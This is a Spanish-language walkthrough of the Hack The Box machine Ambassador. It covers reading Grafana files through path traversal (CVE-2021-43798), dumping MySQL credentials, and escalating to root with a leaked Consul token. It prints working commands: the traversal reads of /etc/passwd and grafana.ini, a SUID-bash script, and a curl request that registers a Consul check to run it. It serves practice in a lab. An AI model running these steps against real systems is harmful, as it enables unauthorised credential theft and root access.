Descripción
Ambassador es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Vulnerabilidad de cruce de directorios en Grafana que permite leer las credenciales del administrador y del servicio MySQL
- Base de datos MySQL contiene credenciales en texto plano de un usuario Linux
- Escalada de Privilegios utilizando la aplicación Consul ejecutada como usuario
rooty token de autenticación filtrado en un repositorio Git
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.183.
$ ping -c 3 10.10.11.183
PING 10.10.11.183 (10.10.11.183) 56(84) bytes of data.
64 bytes from 10.10.11.183: icmp_seq=1 ttl=63 time=45.7 ms
64 bytes from 10.10.11.183: icmp_seq=2 ttl=63 time=46.5 ms
64 bytes from 10.10.11.183: icmp_seq=3 ttl=63 time=47.1 ms
--- 10.10.11.183 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 45.741/46.432/47.091/0.551 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.183 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.183
Host is up (0.051s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
Obtenemos cuatro puertos abiertos: 22, 80, 3000 y 3306.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.183 -sV -sC -p22,80,3000,3306 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.183
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
| 256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
|_ 256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Hugo 0.94.2
3000/tcp open http Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Grafana
|_Requested resource was /login
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 10
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, ODBCClient, Speaks41ProtocolOld, SwitchToSSLAfterHandshake, LongPassword, LongColumnFlag, Speaks41ProtocolNew, IgnoreSigpipes, FoundRows, SupportsTransactions, InteractiveClient, SupportsLoadDataLocal, SupportsCompression, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: _T\x7FQ3{\x1A?M\x1F5m\x7Fhn\x05( \x04n
|_ Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.22 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), dos Hypertext Transfer Protocol (HTTP) y uno MySQL database manager. Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio ambassador.htb al archivo /etc/hosts.
$ echo '10.10.11.183 ambassador.htb' | sudo tee -a /etc/hosts
En el puerto 80 encontramos el servidor de blog estático del Ambassador Development Server con un artículo: Welcome to the Ambassador Development Server.
Parece que la cuenta developer existe para iniciar sesión utilizando el servicio SSH. La contraseña se dará por el equipo DevOps. En el puerto 3000 encontramos una instancia de Grafana utilizando la versión 8.2.0.
Grafana es una plataforma de código abierto para monitoreo y observabilidad. Las versiones de Grafana 8.0.0-beta1 hasta 8.3.0 (excepto las versiones parcheadas) presentan una vulnerabilidad a la travesía de directorios, permitiendo acceso a archivos locales. La ruta vulnerable URL es: <grafana_host_url>/public/plugins//, donde es el ID del plugin para cualquier plugin instalado, CVE-2021-43798.
Explotación
Podemos explotar la vulnerabilidad utilizando una prueba de concepto construida por S1GH en Exploit-DB. Verificamos que funciona leyendo los usuarios en el archivo /etc/hosts.
$ searchsploit -m 50581
$ python 50581.py -H http://ambassador.htb:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
...
consul:x:997:997::/home/consul:/bin/false
Encontramos los usuarios de la consola root, developer y consul. Una instalación por defecto de Grafana almacena sus credenciales en el archivo /etc/grafana/grafana.ini.
$ python 50581.py -H http://ambassador.htb:3000
Read file > /etc/grafana/grafana.ini
...
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = messageInABottle685427
...
El usuario administrador por defecto es admin y la contraseña messageInABottle685427. Podemos iniciar sesión en el dashboard de Grafana. Encontramos que el servidor tiene una fuente de datos cargada en la sección Configuration > Data sources, mysql.yaml.
Por defecto, la configuración de la fuente de datos se guarda en el directorio /etc/grafana/provisioning/datasources/, por lo tanto, comprobemos el archivo .yaml con la vulnerabilidad anterior.
Read file > /etc/grafana/provisioning/datasources/mysql.yaml
apiVersion: 1
datasources:
- name: mysql.yaml
type: mysql
host: localhost
database: grafana
user: grafana
password: dontStandSoCloseToMe63221!
editable: false
Encontramos las credenciales de la base de datos MySQL, con el nombre de usuario grafana, la contraseña dontStandSoCloseToMe63221! y la base de datos grafana. Podemos conectarnos al servidor de base de datos usando las credenciales para listar las bases de datos.
$ mysql -u grafana -h ambassador.htb -p'dontStandSoCloseToMe63221!' --skip-ssl
...
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0,054 sec)
MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0,048 sec)
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,051 sec)
Encontramos una base de datos interesante, whackywidget. Enumerando, encontramos una tabla llamada users, con un nombre de usuario, developer y una contraseña codificada con Base64, YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== que descodificada es anEnglishManInNewYork027468. Podemos usar estas credenciales para iniciar sesión usando el protocolo SSH.
$ ssh developer@ambassador.htb
developer@ambassador.htb's password:
...
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
Post-Explotación
Encontramos que la aplicación consul se ejecuta como el usuario root.
developer@ambassador:/opt/my-app$ ps -ef | grep root
...
root 1093 1 0 17:11 ? 00:00:06 /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl
...
Consul es una solución de red de servicios para automatizar configuraciones de red, descubrir servicios y permitir conectividad segura en cualquier nube o runtime. Si no se configura correctamente, es posible ejecutar comandos fácilmente como propietario del proceso, como se ve aquí. Encontramos la aplicación whackywidget en la ruta /opt/my-app.
developer@ambassador:/opt/my-app$ ls
env whackywidget
El script que establece las credenciales en Consul es el whakywidget/put-config-in-consul.sh.
developer@ambassador:/opt/my-app$ cat whackywidget/put-config-in-consul.sh
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
Encontramos que estamos dentro de una carpeta .git. Podemos verificar los cambios en el último commit:
developer@ambassador:/opt/my-app$ git diff HEAD~1
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
Encontramos que en el commit anterior se filtró el token de Consul bb03b43b-1d81-d62b-24b5-39540ee469b5. Podemos usar este token para obtener la ejecución de comandos remotos en la máquina como usuario root ya que el puerto API 8500 está abierto.
developer@ambassador:/opt/my-app$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
...
tcp LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
...
Vamos a crear primero el archivo /tmp/exploit.sh que copiará y establecerá el bit SUID del archivo binario Bash en el directorio /tmp.
developer@ambassador:/opt/my-app$ echo -e 'cp /bin/bash /tmp/suid-bash;chmod u+s /tmp/suid-bash' > /tmp/exploit.sh
Luego enviamos la solicitud para ejecutar el comando al servicio en el puerto 8500.
eveloper@ambassador:/opt/my-app$ curl --header "X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5" --request PUT -d '{"ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/usr/bin/bash", "/tmp/exploit.sh"], "interval": "10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/register
Después de unos segundos, encontramos que el archivo binario Bash con SUID se ha creado, podemos ejecutarlo para desplegar una terminal root.
developer@ambassador:/opt/my-app$ ls /tmp/suid-bash
/tmp/suid-bash
developer@ambassador:/opt/my-app$ /tmp/suid-bash -p
suid-bash-5.0# id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
Flags
En la terminal root podemos recuperar las banderas user.txt y root.txt.
suid-bash-5.0# cat /home/developer/user.txt
<REDACTED>
suid-bash-5.0# cat /root/root.txt
<REDACTED>